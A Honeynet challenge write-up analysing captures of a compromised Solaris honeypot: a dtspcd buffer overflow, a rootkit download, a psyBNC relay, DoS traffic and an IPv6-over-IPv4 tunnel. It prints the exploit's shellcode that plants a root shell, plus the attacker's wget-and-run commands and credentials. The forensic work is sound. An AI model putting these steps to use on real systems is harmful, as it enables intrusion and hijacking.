SotM Scan28

Official Writeup by Raul Garcia
Ipv6 Tunneling on a Solaris Sparc

The tools I used were:
Ethereal (Open Source Protocol Analyzer)
Tcpdump (Open Source Sniffer)
Strings (unix command to extract strings from binaries)
Gimp (Open Source Image editor to enhance the diagram)
Dia (Open Source Diagram creation software used to create the diagram)
P0f (Passive fingerprinting tool for OS identification)
Vi (text editor)
Md5sum (md5 checksum verifier)
whois (tool to search IP information from ripe, arin, apnic, lanic, etc)

The Challenge:
Members of the AT&T Mexico Honeynet captured a unique attack. As common, what is interesting is not how the attackers broke in, but what they did afterwards. Your mission is to analyze the network capture of the attacker's activity and decode the attacker's actions. There are two binary log files. Day1 captured the break in, Day3 captures some unique activity following the compromise. The honeypot in question is IP 192.168.100.28. Make sure you review the challenge criteria before submitting your writeup.

Download the Binaries
day1.log.gz MD5 (day1.log.gz) = 79e5871791542c8f38dd9cee2b2bc317
day3.log.gz MD5 (day3.log.gz) = af8ab95f41530fe3561b506b422ed636

Analysis:

Previously I downloaded the two log files, verified their md5 checksums and proceeded to gunzip them.

[scan28]$ md5sum day*
79e5871791542c8f38dd9cee2b2bc317  day1.log.gz
af8ab95f41530fe3561b506b422ed636  day3.log.gz
[scan28]$ gunzip day*

1. What is the operating system of the honeypot? How did you determine that?

It is a sparc based machine running SunOS 5.8

Using Ethereal, I opened the log file for the first day. I quickly scanned the packets visually. There are quite a lot of packets to the ingreslock port. The ingreslock access is something caracteristic of a backdoor so I did a "follow tcp stream" and indeed got the initial intrusion, rootkit download and installation. All this done through the ingreslock port (1524).

From the first few lines of the stream we can determine the OS of the honeypot:


----------------- Ethereal ingreslock Follow TCP Stream----------------------
# uname -a;ls -l /core /var/dt/tmp/DTSPCD.log;PATH=/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin:/usr/ccs/bin:/usr/gnu/bin;export PATH;echo "BD PID(s): "`ps -fed|grep ' -s /tmp/x'|grep -v grep|awk '{print $2}'`
SunOS zoberius 5.8 Generic_108528-09 sun4u sparc SUNW,Ultra-5_10
-------------------------------------------------------------------------------

This method might be a bit of a "trial and error" kind, so another thing I did was to do a filter day1.log file with Ethereal with the following filter "ip.src == 192.168.100.28 and tcp.flags.syn == 0 and tcp.flags.reset == 0". Hopefully this would bring me tcp session packets from the honeypot, discarding RST ones to scans and SYN ACK ones at the begginging of sessions. Additionally to the ingreslock I also noticed a tcp session to port 6112 and coincidentally it was from the same source ip to that of the ingreslock port.

This is a partial "print as file" result from Ethereal.


No. Time        Source                Destination           Protocol Info
570 33016.073823 192.168.100.28        61.219.90.180         TCP      6112 > 56710 [ACK] Seq=3124564266 Ack=2140233551 Win=24583 Len=0
571 33016.113820 192.168.100.28        61.219.90.180         TCP      6112 > 56710 [PSH, ACK] Seq=3124564266 Ack=2140233551 Win=24616 Len=70
575 33016.333805 192.168.100.28        61.219.90.180         TCP      6112 > 56710 [ACK] Seq=3124564336 Ack=2140233572 Win=24616 Len=0
578 33016.333805 192.168.100.28        61.219.90.180         TCP      6112 > 56710 [FIN, ACK] Seq=3124564336 Ack=2140233572 Win=24616 Len=0
582 33016.563790 192.168.100.28        61.219.90.180         TCP      6112 > 56711 [ACK] Seq=3124882182 Ack=2143412528 Win=23168 Len=0
584 33016.563790 192.168.100.28        61.219.90.180         TCP      6112 > 56711 [ACK] Seq=3124882182 Ack=2143413976 Win=21720 Len=0
586 33016.883768 192.168.100.28        61.219.90.180         TCP      6112 > 56711 [ACK] Seq=3124882182 Ack=2143415258 Win=20438 Len=0
587 33027.453053 192.168.100.28        61.219.90.180         TCP      6112 > 56711 [FIN, ACK] Seq=3124882182 Ack=2143415258 Win=24616 Len=0
592 33027.943019 192.168.100.28        61.219.90.180         TCP      ingreslock > 56712 [PSH, ACK] Seq=3127722946 Ack=2153507886 Win=24616 Len=2
594 33027.943019 192.168.100.28        61.219.90.180         TCP      6112 > 56711 [ACK] Seq=3124882183 Ack=2143415259 Win=24616 Len=0
596 33028.033013 192.168.100.28        61.219.90.180         TCP      ingreslock > 56712 [ACK] Seq=3127722948 Ack=2153508094 Win=24616 Len=0
598 33028.163005 192.168.100.28        61.219.90.180         TCP      ingreslock > 56712 [PSH, ACK] Seq=3127722948 Ack=2153508094 Win=24616 Len=164
600 33028.382990 192.168.100.28        61.219.90.180         TCP      ingreslock > 56712 [PSH, ACK] Seq=3127723112 Ack=2153508094 Win=24616 Len=2
603 33365.480173 192.168.100.28        61.219.90.180         TCP      ingreslock > 56712 [PSH, ACK] Seq=3127723114 Ack=2153508099 Win=24616 Len=4
605 33365.700158 192.168.100.28        61.219.90.180         TCP      ingreslock > 56712 [PSH, ACK] Seq=3127723118 Ack=2153508099 Win=24616 Len=14
608 33367.050067 192.168.100.28        61.219.90.180         TCP      ingreslock > 56712 [PSH, ACK] Seq=3127723132 Ack=2153508101 Win=24616 Len=129
610 33367.260052 192.168.100.28        61.219.90.180         TCP      ingreslock > 56712 [PSH, ACK] Seq=3127723261 Ack=2153508101 Win=24616 Len=2
613 33381.179110 192.168.100.28        61.219.90.180         TCP      ingreslock > 56712 [PSH, ACK] Seq=3127723263 Ack=2153508127 Win=24616 Len=2
615 33381.399095 192.168.100.28        61.219.90.180         TCP      ingreslock > 56712 [PSH, ACK] Seq=3127723265 Ack=2153508200 Win=24616 Len=2
617 33381.649078 192.168.100.28        61.219.90.180         TCP      ingreslock > 56712 [PSH, ACK] Seq=3127723267 Ack=2153508200 Win=24616 Len=4

Another option that would indicate outgoing initial conections from the honeypot is to filter the log file for SYN packets originating from 192.168.100.28 (the honeypot). Theoretically this would show the initial attempts from the intruder to download his tools into the hpot which usually comes down to http or ftp.

Extra proof:
+ Solaris patches downloaded (answer 2) from sunsolve.sun.com.
+ P0f indicates tcp packets from the honeypot as being a Solaris 8
(See, P0f is a passive fingerprinting application that can detect default vaulues in a tcp stack from reading packets and compares them to a default signature file. )

 $ /usr/sbin/p0f -s day1.log 'src host 192.168.100.28'
p0f: passive os fingerprinting utility, version 1.8.3
(C) Michal Zalewski <lcamtuf@gis.net>, William Stearns <wstearns@pobox.com>
p0f: file: '/etc/p0f.fp', 207 fprints, iface: 'eth0', rule: 'src host 192.168.100.28'.
192.168.100.28 [1 hops]: SunOS 5.8
192.168.100.28: UNKNOWN [24820:64:2104:1:-1:1:1:48].
192.168.100.28 [1 hops]: SunOS 5.8
192.168.100.28 [1 hops]: SunOS 5.8
192.168.100.28: UNKNOWN [24820:64:55368:1:-1:1:1:48].
192.168.100.28 [1 hops]: SunOS 5.8
192.168.100.28 [1 hops]: SunOS 5.8
192.168.100.28 [1 hops]: SunOS 5.8
192.168.100.28 [1 hops]: SunOS 5.8
192.168.100.28 [1 hops]: SunOS 5.8
192.168.100.28 [1 hops]: SunOS 5.8
192.168.100.28 [1 hops]: SunOS 5.8
192.168.100.28 [1 hops]: SunOS 5.8
192.168.100.28 [1 hops]: SunOS 5.8
192.168.100.28 [1 hops]: SunOS 5.8
192.168.100.28 [1 hops]: SunOS 5.8
192.168.100.28 [1 hops]: SunOS 5.8

+ The rootkit downloaded is sol.tar.gz which hints the operating system.
+ When I ran "file *" in the rootkit sol.tar.gz I extracted, and untared (wasn't gziped),most of the binaries were SPARC executables.
+ The tunneling script for Ipv6 corresponds to Solaris commands.
+ From the honeypot's mac address you can determine the NIC's vendor:

$ /usr/sbin/tcpdump -e -c 2 -nn -r day1.log host 192.168.100.28
01:26:09.939592 8:0:20:d1:76:19 0:7:ec:b2:d0:a 0800 86: 192.168.100.28.32789 > 194.25.2.133.53:  3628 PTR? 71.185.128.80.in-addr.arpa. (44) (DF)
01:26:10.089582 0:7:ec:b2:d0:a 8:0:20:d1:76:19 0800 287: 194.25.2.133.53 > 192.168.100.28.32789:  3628*- 1/4/4 PTR p5080B947.dip.t-dialin.net. (245) (DF)

You can then find the vendor corresponding to MAC address 08:00:20:d1:76:19 at www.iana.org/assignments/ethernet-numbers which is:

080020  Sun             Sun machines

2. How did the attacker(s) break into the system?

Through a dtspcd buffer overflow attack.

Proof:

From the previous answer, in the ingreslock session we see that the first line contains "ls -l /core /var/dt/tmp/DTSPCD.log" which is a common trademark on dtspcd buffer overflow attack, but lets corroborate this further.

I decided to investigate ip 61.219.90.180's access to port 6112 and did a "follow tcp stream". From what I saw it seemed to be a buffer overflow, but it wasn't so clear. I switched over to the Hex Dump view which confirmed my theory.

Partial Ethereal TCP stream follow on port 6112

--------------------- cut ------------------------------
00000490  80 1c 40 11 80 1c 40 11  80 1c 40 11 80 1c 40 11 ..@...@. ..@...@.
000004A0  80 1c 40 11 80 1c 40 11  80 1c 40 11 80 1c 40 11 ..@...@. ..@...@.
000004B0  80 1c 40 11 80 1c 40 11  80 1c 40 11 20 bf ff ff ..@...@. ..@. ...
000004C0  20 bf ff ff 7f ff ff ff  90 03 e0 34 92 23 e0 20  ....... ...4.#. 
000004D0  a2 02 20 0c a4 02 20 10  c0 2a 20 08 c0 2a 20 0e .. ... . .* ..* .
000004E0  d0 23 ff e0 e2 23 ff e4  e4 23 ff e8 c0 23 ff ec .#...#.. .#...#..
000004F0  82 10 20 0b 91 d0 20 08  2f 62 69 6e 2f 6b 73 68 .. ... . /bin/ksh
00000500  20 20 20 20 2d 63 20 20  65 63 68 6f 20 22 69 6e     -c   echo "in
00000510  67 72 65 73 6c 6f 63 6b  20 73 74 72 65 61 6d 20 greslock  stream 
00000520  74 63 70 20 6e 6f 77 61  69 74 20 72 6f 6f 74 20 tcp nowa it root 
00000530  2f 62 69 6e 2f 73 68 20  73 68 20 2d 69 22 3e 2f /bin/sh  sh -i">/
00000540  74 6d 70 2f 78 3b 2f 75  73 72 2f 73 62 69 6e 2f tmp/x;/u sr/sbin/
00000550  69 6e 65 74 64 20 2d 73  20 2f 74 6d 70 2f 78 3b inetd -s  /tmp/x;
00000560  73 6c 65 65 70 20 31 30  3b 2f 62 69 6e 2f 72 6d sleep 10 ;/bin/rm
00000570  20 2d 66 20 2f 74 6d 70  2f 78 20 41 41 41 41 41  -f /tmp /x AAAAA
00000580  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41 AAAAAAAA AAAAAAAA
---------------------- cut -----------------------------

This clearly shows how the ingreslock backdoor was setup through the buffer overflow.

On a search engine I looked the value "80 1c 40 11" which seems to be a buffer overflow padding and got the following result:

Scan of the Month #20
... The following is a hex dump of part of the NOP slide the dtspcd exploit used:
80 1c 40 11 80 1c 40 11 80 1c 40 11 80 1c 40 11 ..@.. ...

According to Iana's port assignments port 6112 belongs to "dtspcd". According to cert's advisory CA-2001-31, there is a buffer overflow vulnerability in CDE Subprocess Control Service affecting systems running CDE.

Again on Cert's summary CS-2002-01 it mentions the following:

"Since CA-2001-31 was originally released last November, the CERT/CC has received reports of scanning for dtspcd (6112/tcp). Just recently, however, we have received credible reports of an exploit for Solaris systems. Using network traces provided by The Honeynet Project, we have confirmed that the dtspcd vulnerability identified in CA-2001-31 and discussed in VU#172583 is actively being exploited."

3. Which systems were used in this attack, and how?

From the information so far gathered we have the following:

61.219.90.180 DTSPCD Scan, Exploit, intrusion, rootkit dload and installation (see answer 2)

I did a tcpdump on that same ip 61.219.90.180 to check for previous or related traffic at the initial stages of the attack:

10:36:25.353459 61.219.90.180.56399 > 192.168.100.28.6112: S 2151229461:2151229461(0) win 5840 <mss 1460,sackOK,timestamp 48509919 0,nop,wscale 0> (DF)
10:36:25.353459 192.168.100.28.6112 > 61.219.90.180.56399: S 3124316702:3124316702(0) ack 2151229462 win 24616 <nop,nop,timestamp 113867381 48509919,nop,wscale 0,nop,nop,sackOK,mss 1460> (DF)
10:36:25.563445 61.219.90.180.56399 > 192.168.100.28.6112: . ack 1 win 5840 <nop,nop,timestamp 48509941 113867381> (DF)
10:36:25.573445 61.219.90.180.56709 > 192.168.100.28.1524: S 2149411790:2149411790(0) win 5840 <mss 1460,sackOK,timestamp 48509942 0,nop,wscale 0> (DF)
10:36:25.573445 192.168.100.28.1524 > 61.219.90.180.56709: R 0:0(0) ack 2149411791 win 0 (DF)
10:36:25.793430 61.219.90.180.56710 > 192.168.100.28.6112: S 2140233517:2140233517(0) win 5840 <mss 1460,sackOK,timestamp 48509964 0,nop,wscale 0> (DF)
10:36:25.793430 192.168.100.28.6112 > 61.219.90.180.56710: S 3124564265:3124564265(0) ack 2140233518 win 24616 <nop,nop,timestamp 113867426 48509964,nop,wscale 0,nop,nop,sackOK,mss 1460> (DF)
10:36:26.003415 61.219.90.180.56710 > 192.168.100.28.6112: . ack 1 win 5840 <nop,nop,timestamp 48509986 113867426> (DF)
10:36:26.013415 61.219.90.180.56710 > 192.168.100.28.6112: P 1:34(33) ack 1 win 5840 <nop,nop,timestamp 48509986 113867426> (DF)
10:36:26.013415 192.168.100.28.6112 > 61.219.90.180.56710: . ack 34 win 24583 <nop,nop,timestamp 113867447 48509986> (DF)
10:36:26.053412 192.168.100.28.6112 > 61.219.90.180.56710: P 1:71(70) ack 34 win 24616 <nop,nop,timestamp 113867452 48509986> (DF)
10:36:26.273397 61.219.90.180.56710 > 192.168.100.28.6112: . ack 71 win 5840 <nop,nop,timestamp 48510012 113867452> (DF)
10:36:26.273397 61.219.90.180.56710 > 192.168.100.28.6112: P 34:54(20) ack 71 win 5840 <nop,nop,timestamp 48510012 113867452> (DF)
10:36:26.273397 61.219.90.180.56710 > 192.168.100.28.6112: F 54:54(0) ack 71 win 5840 <nop,nop,timestamp 48510012 113867452> (DF)
10:36:26.273397 192.168.100.28.6112 > 61.219.90.180.56710: . ack 55 win 24616 <nop,nop,timestamp 113867474 48510012> (DF)

Looks like the intruder probed port 1524 (ingreslock) at the time when probing for port 6112. Perhaps checking for a previous compromised machine.

Next I followed up on the ftp session that was initiated from the ingreslock session by selecting the packet corresponding to the ftp control session (port 21), reseting the filter and then doing a "follow tcp stream" on each of the individual ftp-data (port 20) sessions (each corresponding to a different file being downloaded). This way I just saved the ftp-data session and named it after each file. That is how I recovered the files "wget", "dlp", "solbnc" and "ipv6sun".

Partial ingreslock stream follow in Ethereal:


-------Ethereal - ingreslock Stream-------
# # # ftp 62.211.66.16 21
bobzz
ftp: ioctl(TIOCGETP): Invalid argument
Password:joka

get wget
get dlp
get solbnc
get iupv6sun
Name (62.211.66.16:root): iupv6sun: No such file or directory.
get ipv6sun
quit
# ls
---------------------------

62.211.66.16 From here the intruder downloads wget (non interactive dowloading tool, used later for downloading the rootkit via http), dlp (seems to be a log cleaner), solbnc (which is really not a psy-bnc. I found this after running "strings solbnc" it turns out to be a DoS tool, see answer 6), iupv6sun (IPv6 over IPv4 tunnel setup script confirmed by extracting the tool from the tcp stream)

Next I did a "follow tcp session" on the http download of "sol.tar.gz" I saved the session to disk, and used "vi" (text editor) to remove the http headers on the file.

Partial ingreslock stream follow in Ethereal:


-------Ethereal - ingreslock Stream-------
# ./wget http://62.211.66.53/bobzz/sol.tar.gz
--09:47:58--  http://62.211.66.53:80/bobzz/sol.tar.gz
=> `sol.tar.gz'
Connecting to 62.211.66.53:80... connected!
HTTP request sent, awaiting response... 200 OK
Length: 1,884,160 [application/x-tar]
-------------------------------------------

I found out that sol.tar.gz wasn't really gziped, just in tar format. You can also see this from the ingreslock session ,where the intruder does a "tar -xf" without gunzipping the file.

Partial ingreslock stream follow in Ethereal:


# tar -xf sol.tar.gz
# cd sol
# ./setup

62.211.66.53 downloads sol.tar.gz (solaris rootkit)

Although it is out of scope, I analyzed the rootkit after extracting it from the http traffic. Basically it contains a number of trojaned binaries, a couple of DoS tools, solaris patches, sshd backdoor, log cleaner, sniffer, file resizer, and a psy-bnc binary. I used "strings" or "vi" for this.

Our intruder then downloads the corresponding patches to prevent others from taking away his most recent acquisition.

Partial ingreslock stream follow in Ethereal:


--09:56:21--  ftp://sunsolve.sun.com:21/pub/patches/111085-02.zip
=> `111085-02.zip'
Connecting to sunsolve.sun.com:21... connected!
Logging in as anonymous ... Logged in!

217.116.38.10 & 61.134.3.11 these are the ip's that have stacheldraht comms
with the honeypot which is probably their DoS zombie. (look at answer 6)

I followed up on the results from our previous filter in Ethereal ("ip.src == 192.168.100.28 and tcp.flags.syn == 0 and tcp.flags.reset == 0") in order to find out what other tcp connections followed up. Always keeping in mind that there are other protocols out there that could hide potentially bad traffic.

Partial Ethereal filtered day1.log with ("ip.src == 192.168.100.28 and tcp.flags.syn == 0 and tcp.flags.reset == 0"):


8366 34678.181095 192.168.100.28        80.117.14.44          TCP      afs3-fileserver > 3934 [ACK] Seq=3531905507 Ack=2174331878 Win=25920 Len=0
8381 34678.761055 192.168.100.28        80.117.14.44          Gryphon  - Invalid -[Unreassembled Packet (incorrect TCP checksum)]
8383 34678.841050 192.168.100.28        80.117.14.44          Gryphon  - Invalid -[Unreassembled Packet (incorrect TCP checksum)]
8384 34678.841050 192.168.100.28        80.117.14.44          Gryphon  - Invalid -[Unreassembled Packet (incorrect TCP checksum)]
8385 34678.841050 192.168.100.28        80.117.14.44          Gryphon  - Invalid -[Unreassembled Packet (incorrect TCP checksum)]
8386 34678.841050 192.168.100.28        80.117.14.44          Gryphon  - Invalid -[Unreassembled Packet (incorrect TCP checksum)]
8388 34679.451008 192.168.100.28        80.117.14.44          Gryphon  - Invalid -[Unreassembled Packet (incorrect TCP checksum)]
8390 34679.501005 192.168.100.28        80.117.14.44          Gryphon  - Invalid -[Unreassembled Packet (incorrect TCP checksum)]
8391 34679.501005 192.168.100.28        80.117.14.44          Gryphon  - Invalid -[Unreassembled Packet (incorrect TCP checksum)]
8392 34679.501005 192.168.100.28        80.117.14.44          Gryphon  - Invalid -[Unreassembled Packet (incorrect TCP checksum)]
8398 34684.880640 192.168.100.28        80.117.14.44          Gryphon  - Invalid -[Unreassembled Packet (incorrect TCP checksum)]

We find out that there are comms on port 7000 of the honeypot. If you remember from the ingreslock stream, the intruder ran PSY-BNC on port 7000.

Partial ingreslock stream on Ethereal:


.-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-.
,----.,----.,-.  ,-.,---.,--. ,-.,----.
|  O ||  ,-' \ \/ / | o ||   \| || ,--'
|  _/ _\  \   \  /  | o< | |\   || |__
|_|  |____/   |__|  |___||_|  \_| \___|
Version 2.2.1 (c) 1999-2000
the most psychoid
and  the cool lam3rz Group IRCnet

`-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=tCl=-'
Configuration File: psybnc.conf
No logfile specified, logging to log/psybnc.log
Listening on: 0.0.0.0 port 7000
psyBNC2.2.1-cBtITLdDMSNp started (PID 3262)
^[[1;37m*^[[0;37m psyBNC installed - loaded on reboot :>

This means the intruder has initiated a connection to port 7000 on the honeypot and we can confirm this by running doing a follow tcp session on Ethereal for ip 80.117.14.44 and the previous ethereal results. We can now clearly see the tcp three-way handshake SYN-SYNACK-ACK.


No. Time        Source                Destination           Protocol Info
8362 34677.561137 80.117.14.44          192.168.100.28        TCP      3934 > afs3-fileserver [SYN] Seq=2174331863 Ack=0 Win=16384 Len=0
8363 34677.561137 192.168.100.28        80.117.14.44          TCP      afs3-fileserver > 3934 [SYN, ACK] Seq=3531905506 Ack=2174331864 Win=25920 Len=0
8364 34678.171095 80.117.14.44          192.168.100.28        TCP      3934 > afs3-fileserver [ACK] Seq=2174331864 Ack=3531905507 Win=17280 Len=0

80.117.14.44 connects to honeypot and now controls PSY-BNC IRC tool on port 7000.

Shortly after we see traffic on port 6667, but it's a short session.


8410 34691.390198 192.168.100.28        206.252.192.195       TCP      32795 > ircd [ACK] Seq=3534614460 Ack=1288578057 Win=24820 Len=0
8411 34691.390198 192.168.100.28        206.252.192.195       IRC      Request
8412 34691.390198 192.168.100.28        80.117.14.44          Gryphon  - Invalid -[Unreassembled Packet (incorrect TCP checksum)]
8414 34691.530189 192.168.100.28        206.252.192.195       IRC      Request
8418 34710.838878 192.168.100.28        80.117.14.44          Gryphon  - Invalid -[Unreassembled Packet (incorrect TCP checksum)]
8426 34737.587063 192.168.100.28        206.252.192.195       TCP      32795 > ircd [ACK] Seq=3534614513 Ack=1288578057 Win=24820 Len=0
8428 34738.586995 192.168.100.28        206.252.192.195       TCP      32795 > ircd [ACK] Seq=3534614513 Ack=1288578150 Win=24820 Len=0
8429 34738.586995 192.168.100.28        206.252.192.195       TCP      32795 > ircd [FIN, ACK] Seq=3534614513 Ack=1288578150 Win=24820 Len=0

Seems our intruder tried and failed to connect to an IRC server running on 206.252.192.195.

Partial Ethereal follow tcp stream from previous result:


USER ahaa ahaa 127.0.0.1 :_-:OwNz:-_
NICK Dj`bobz`
ERROR :Closing Link: Dj`bobz`[unknown@192.168.100.28] (Too many host connections (global))

206.252.192.195 Intruder attempted without success to connect to external IRC services on port 6667. As a matter of fact, there are a couple of failed attempts, not just one. The intruder then attempts to connect to this same server but on port 5555, after one or two tries, he makes it.

Partial Ethereal follow tcp stream on port 5555 and ip 206.252.192.195:


USER ahaa ahaa 127.0.0.1 :nZ
NICK Dj`bobz`
:irc-1.stealth.net 001 Dj`bobz` :Welcome to the Internet Relay Network Dj`bobz`!-ahaa@zoberius.example.net.mx
:irc-1.stealth.net 002 Dj`bobz` :Your host is irc-1.stealth.net, running version 2.10.3p3/S02.3
:irc-1.stealth.net 003 Dj`bobz` :This server was created Fri Dec 28 2001 at 06:24:19 EST
:irc-1.stealth.net 004 Dj`bobz` irc-1.stealth.net 2.10.3p3/S02.3 acoOirw abeiIklmnoOpqrstv
:irc-1.stealth.net 251 Dj`bobz` :There are 118088 users and 6 services on 45 servers
:irc-1.stealth.net 252 Dj`bobz` 173 :operators online
:irc-1.stealth.net 253 Dj`bobz` 85 :unknown connections
:irc-1.stealth.net 254 Dj`bobz` 55070 :channels formed
:irc-1.stealth.net 255 Dj`bobz` :I have 4175 users, 0 services and 1 servers
:irc-1.stealth.net 375 Dj`bobz` :- irc-1.stealth.net Message of the Day -
:irc-1.stealth.net 372 Dj`bobz` :- 4/10/2002 13:30
:irc-1.stealth.net 372 Dj`bobz` :-
:irc-1.stealth.net 372 Dj`bobz` :-
:irc-1.stealth.net 372 Dj`bobz` :-    Welcome to _Stealth Communications'_ Client Server.
:irc-1.stealth.net 372 Dj`bobz` :-
:irc-1.stealth.net 372 Dj`bobz` :-  ...Behave, and thy time shalt be a lot more jolly...
:irc-1.stealth.net 372 Dj`bobz` :-
:irc-1.stealth.net 372 Dj`bobz` :-
:irc-1.stealth.net 372 Dj`bobz` :- irc[06:09]_%_ pscan -stats 127.0.0.1 (5550-5559|6660-6669)
:irc-1.stealth.net 372 Dj`bobz` :- Fastest ports:
:irc-1.stealth.net 372 Dj`bobz` :- 	1. (_1.995%_) 206.252.192.195.5558 [_lag:0_]
:irc-1.stealth.net 372 Dj`bobz` :- 	2. (_2.595%_) 206.252.192.195.5556 [..ok!]
:irc-1.stealth.net 372 Dj`bobz` :- 	3. (_3.445%_) 206.252.192.195.5557 [..ok!]

This concludes the systems interactions for day1, so now I opened day2.log in Ethereal and ran the same ol' filter "ip.src == 192.168.100.28 and tcp.flags.syn == 0 and tcp.flags.reset == 0".

80.117.14.222 First thing that comes into view is that now there is another ip accessing PSY-BNC port 7000 for control of this IRC tool. There was also more IRC traffic to ip 206.252.192.195. I then selected the first packet for ip 80.117.14.222, and reset the filter. Then I selected the first SYN coming from ip 80.117.14.222 and did a follow TCP stream. This confirms our statement about port 7000 and PSY-BNC.

Partial Port 7000 TCP stream for IP 80.117.14.222:


PASS fargetta
:Welcome!psyBNC@lam3rz.de NOTICE * :psyBNC2.2.1
NICK `Marja``
USER ahaa "bobz" "192.168.100.28" :_-:OwNz:-_
:-psyBNC!psyBNC@lam3rz.de NOTICE `Marja`` :You have Messages. Type /QUOTE PLAYPRIVATELOG to read your messages.
LISTSERVERS
:-psyBNC!psyBNC@lam3rz.de NOTICE `Marja`` :Server #1: irc.stealth.net port 5555
:-psyBNC!psyBNC@lam3rz.de NOTICE `Marja`` :End of Servers.
NICK :`Tony-H-
BQUIT
:-psyBNC!psyBNC@lam3rz.de NOTICE `Marja`` :You are already quitted.
BCONNECT

195.130.233.20, 192.114.144.52 and 205.177.13.231 Next I ran the same filter "ip.src == 192.168.100.28 and tcp.flags.syn == 0 and tcp.flags.reset == 0", but this time I told it to dismiss traffic from 80.117.14.222 and from 206.252.192.195. We can see from the first part of the traffic that there are a lot of bogus packets to ip 195.130.233.20. It is highly probable that someone is attempting to DoS this ip using the honeypot. I ran a UDP filter for day3 and also got a lot of bogus udp packets to this same IP, so I'm almost certain this was a denial of service attempt. The same thing followed for ip's 192.114.144.52 and 205.177.13.231.


No. Time        Source                Destination           Protocol Info
4990 48059.576277 192.168.100.28        195.130.233.20        TCP      20094 > 17873 [] Seq=1267143740 Ack=0 Win=16384 Len=0
4996 48060.146238 192.168.100.28        195.130.233.20        TCP      23899 > 3 [] Seq=1267143740 Ack=0 Win=16384 Len=0
5003 48060.396221 192.168.100.28        195.130.233.20        TCP      32042 > 129 [] Seq=1267143740 Ack=0 Win=16384 Len=0
5011 48060.946184 192.168.100.28        195.130.233.20        TCP      13982 > 126 [] Seq=962735714 Ack=0 Win=16384 Len=0
5012 48061.146171 192.168.100.28        195.130.233.20        TCP      25567 > 87 [] Seq=962735714 Ack=0 Win=16384 Len=0
5015 48061.246164 192.168.100.28        195.130.233.20        TCP      32664 > 134 [] Seq=962735714 Ack=0 Win=16384 Len=0
5021 48061.696134 192.168.100.28        195.130.233.20        TCP      13261 > 83 [] Seq=511405110 Ack=0 Win=16384 Len=0
5035 48063.146035 192.168.100.28        195.130.233.20        TCP      6597 > pop3 [] Seq=60074506 Ack=0 Win=16384 Len=0
5043 48064.335955 192.168.100.28        195.130.233.20        TCP      28175 > echo [] Seq=1991671730 Ack=0 Win=16384 Len=0
5047 48064.585938 192.168.100.28        195.130.233.20        TCP      22234 > 132 [] Seq=203726216 Ack=0 Win=16384 Len=0
5069 48066.305822 192.168.100.28        195.130.233.20        TCP      5550 > 12 [] Seq=5693834 Ack=0 Win=16384 Len=0
5076 48067.085769 192.168.100.28        195.130.233.20        TCP      13335 > 125 [] Seq=475151605 Ack=0 Win=16384 Len=0
5078 48067.185762 192.168.100.28        195.130.233.20        TCP      17441 > 36 [] Seq=475151605 Ack=0 Win=16384 Len=0
5081 48067.395748 192.168.100.28        195.130.233.20        TCP      24822 > tcpmux [] Seq=475151605 Ack=0 Win=16384 Len=0
5082 48067.565737 192.168.100.28        195.130.233.20        TCP      13313 > 85 [] Seq=1397438852 Ack=0 Win=16384 Len=0
5086 48067.995707 192.168.100.28        195.130.233.20        TCP      22946 > telnet [] Seq=1397438852 Ack=0 Win=16384 Len=0
5087 48068.065703 192.168.100.28        195.130.233.20        TCP      16709 > 55 [] Seq=1397438852 Ack=0 Win=16384 Len=0
5104 48069.605599 192.168.100.28        195.130.233.20        TCP      5186 > 130 [] Seq=1347351609 Ack=0 Win=16384 Len=0
5111 48069.985573 192.168.100.28        195.130.233.20        TCP      23086 > 40 [] Seq=1347351609 Ack=0 Win=16384 Len=0
5112 48070.015571 192.168.100.28        195.130.233.20        TCP      13462 > 56 [] Seq=1347351609 Ack=0 Win=16384 Len=0
5118 48071.015503 192.168.100.28        195.130.233.20        TCP      10670 > netbios-ssn [] Seq=1669750240 Ack=0 Win=16384 Len=0

I ran the previous filter again and now also removed 195.130.233.20, 192.114.144.52 and 205.177.13.231. This leaves us next with the ssh backdoor access, that we know of from the ingreslock tcp stream (answer 5) to be on tcp port 5001.

62.101.108.86 Ssh backdoor access, explained in answer number 5.

62.211.66.55 Oddly enough the intruder downloads an extra psyBNC (irc proxy tool). The rootkit already contained a PSYBNC, explained in answer number 5. This I noticed by seeing http traffic intertwined with the ssh port 5001 backdoor traffic.

163.162.170.173 The intruder apparently runs a setup for an Ipv6 tunnel to this Ipv4 address. (explained in answer 5)

4. Create a diagram that demonstrates the sequences involved in the attack.

5. Following the attack, the attacker(s) enabled a non standard IP protocol. Can you identify that protocol and deteremine what it was used for? By non-standard we mean not TCP, UDP, or ICMP.

Looking at both files with tcpdump and filtering them with "not udp and not tcp and not icmp" I only get results from day3.log. The most recent tcpdump reported ipv6 traffic as an ip protocol, so I looked at the "/etc/protocols" file to know the protocol number, it turns out to be protocol 41. According to RFC 2529, it seems to be a method for transporting IPv6 over IPv4 networks. Older tcpdumps/libpcap either indicate this traffic as "encap" or as "Proto 41" .

With an older version of tcpdump/libpcap:

$ /usr/sbin/tcpdump -?
tcpdump version 3.6.3
libpcap version 0.6
----------------------- cut ---------------------------

$ /usr/sbin/older_tcpdump -nn -r day3.log 'not tcp and not udp and not icmp'
----------------------- cut ---------------------------
21:17:34.657306 192.168.100.28 > 163.162.170.173: 2001:6b8:0:400::5d0e.32780 > 2001:750:2:0:202:a5ff:fef0:aac7.6667: P 12532:12576(44) ack 90755 win 25560 (encap)
21:17:34.877292 163.162.170.173 > 192.168.100.28: 2001:750:2:0:202:a5ff:fef0:aac7.6667 > 2001:6b8:0:400::5d0e.32780: . ack 12576 win 5760 (encap)
21:17:34.977285 163.162.170.173 > 192.168.100.28: 2001:750:2:0:202:a5ff:fef0:aac7.6667 > 2001:6b8:0:400::5d0e.32780: P 90755:90834(79) ack 12576 win 5760 (encap)
21:17:35.067279 192.168.100.28 > 163.162.170.173: 2001:6b8:0:400::5d0e.32780 > 2001:750:2:0:202:a5ff:fef0:aac7.6667: . ack 90834 win 25560 (encap)
21:18:00.605554 192.168.100.28 > 163.162.170.173: 2001:6b8:0:400::5d0e.32780 > 2001:750:2:0:202:a5ff:fef0:aac7.6667: P 12576:12617(41) ack 90834 win 25560 (encap)
21:18:00.845537 163.162.170.173 > 192.168.100.28: 2001:750:2:0:202:a5ff:fef0:aac7.6667 > 2001:6b8:0:400::5d0e.32780: . ack 12617 win 5760 (encap)
